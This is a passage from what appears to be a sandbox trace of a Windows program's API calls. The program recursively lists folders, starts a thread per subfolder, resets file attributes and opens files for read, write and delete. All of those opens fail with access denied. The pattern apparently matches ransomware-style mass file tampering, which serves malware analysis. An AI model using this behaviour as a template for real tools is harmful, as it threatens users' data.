Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" [0143.172] wcscat (in: _Dest=0x202795b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\" [0143.172] wcscat (in: _Dest=0x202795b0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*" [0143.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20503160 [0143.172] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d9d0 [0143.173] wcscmp (_String1=".", _String2=".") returned 0 [0143.173] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.173] wcscmp (_String1="..", _String2=".") returned 1 [0143.173] wcscmp (_String1="..", _String2="..") returned 0 [0143.173] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0143.173] wcscmp (_String1="Windows6.1-KB2999226-x64.msu", _String2=".") returned 1 [0143.173] wcscmp (_String1="Windows6.1-KB2999226-x64.msu", _String2="..") returned 1 [0143.173] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0143.173] FindClose (in: hFindFile=0x1cd9d9d0 | out: hFindFile=0x1cd9d9d0) returned 1 [0143.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503160) returned 1 [0143.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0143.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1076c0) returned 1 Thread: id = 2266 os_tid = 0x7d8 [0143.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864060 [0143.181] wcscpy (in: _Dest=0x1b864060, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0143.181] wcscat (in: _Dest=0x1b864060, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0143.181] wcscat (in: _Dest=0x1b864060, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*" [0143.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20503160 [0143.181] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d9d0 [0143.181] wcscmp (_String1=".", _String2=".") returned 0 [0143.181] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.182] wcscmp (_String1="..", _String2=".") returned 1 [0143.182] wcscmp (_String1="..", _String2="..") returned 0 [0143.182] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0143.182] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2=".") returned 1 [0143.182] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2="..") returned 1 [0143.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1076c0 [0143.182] wcscpy (in: _Dest=0x1076c0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0143.182] wcscat (in: _Dest=0x1076c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0143.182] wcscat (in: _Dest=0x1076c0, _Source="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0150.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1076c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d40 [0150.857] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0150.857] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2=".") returned 1 [0150.857] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2="..") returned 1 [0150.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278470 [0150.857] wcscpy (in: _Dest=0x20278470, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0150.857] wcscat (in: _Dest=0x20278470, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\" [0150.857] wcscat (in: _Dest=0x20278470, _Source="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0150.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a0 [0150.858] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0150.858] FindClose (in: hFindFile=0x1cd9d9d0 | out: hFindFile=0x1cd9d9d0) returned 1 [0150.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503160) returned 1 [0150.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864060) returned 1 [0150.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1c60) returned 1 Thread: id = 2267 os_tid = 0x690 [0143.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b863ab0 [0143.183] wcscpy (in: _Dest=0x1b863ab0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0143.183] wcscat (in: _Dest=0x1b863ab0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0143.183] wcscat (in: _Dest=0x1b863ab0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*" [0143.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205033d0 [0143.183] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d130 [0143.184] wcscmp (_String1=".", _String2=".") returned 0 [0143.184] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.184] wcscmp (_String1="..", _String2=".") returned 1 [0143.184] wcscmp (_String1="..", _String2="..") returned 0 [0143.184] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0143.184] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2=".") returned 1 [0143.184] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2="..") returned 1 [0143.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202795b0 [0143.184] wcscpy (in: _Dest=0x202795b0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0143.184] wcscat (in: _Dest=0x202795b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0143.184] wcscat (in: _Dest=0x202795b0, _Source="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x1073c0 [0152.148] wcscpy (in: _Dest=0x1073c0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.148] wcscat (in: _Dest=0x1073c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.148] wcscat (in: _Dest=0x1073c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" [0152.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99ba0 [0152.148] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca90 [0152.149] wcscmp (_String1=".", _String2=".") returned 0 [0152.149] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.149] wcscmp (_String1="..", _String2=".") returned 1 [0152.149] wcscmp (_String1="..", _String2="..") returned 0 [0152.149] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0152.149] wcscmp (_String1="background.png", _String2=".") returned 1 [0152.149] wcscmp (_String1="background.png", _String2="..") returned 1 [0152.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776f50 [0152.149] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.149] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.149] wcscat (in: _Dest=0x1b776f50, _Source="background.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" [0152.149] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20 [0152.150] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0152.150] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.150] GetLastError () returned 0x5 [0152.150] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0152.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0152.150] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0152.150] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0152.150] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0152.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776f50 [0152.151] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.151] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.151] wcscat (in: _Dest=0x1b776f50, _Source="behavior.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" [0152.151] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20 [0152.152] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0152.152] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.152] GetLastError () returned 0x5 [0152.152] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0152.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0152.152] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0152.152] wcscmp (_String1="device.png", _String2=".") returned 1 [0152.152] wcscmp (_String1="device.png", _String2="..") returned 1 [0152.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119650 [0152.153] wcscpy (in: _Dest=0x119650, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.153] wcscat (in: _Dest=0x119650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.153] wcscat (in: _Dest=0x119650, _Source="device.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" [0152.153] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20 [0152.153] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0152.153] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.153] GetLastError () returned 0x5 [0152.153] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0152.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119650) returned 1 [0152.154] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, 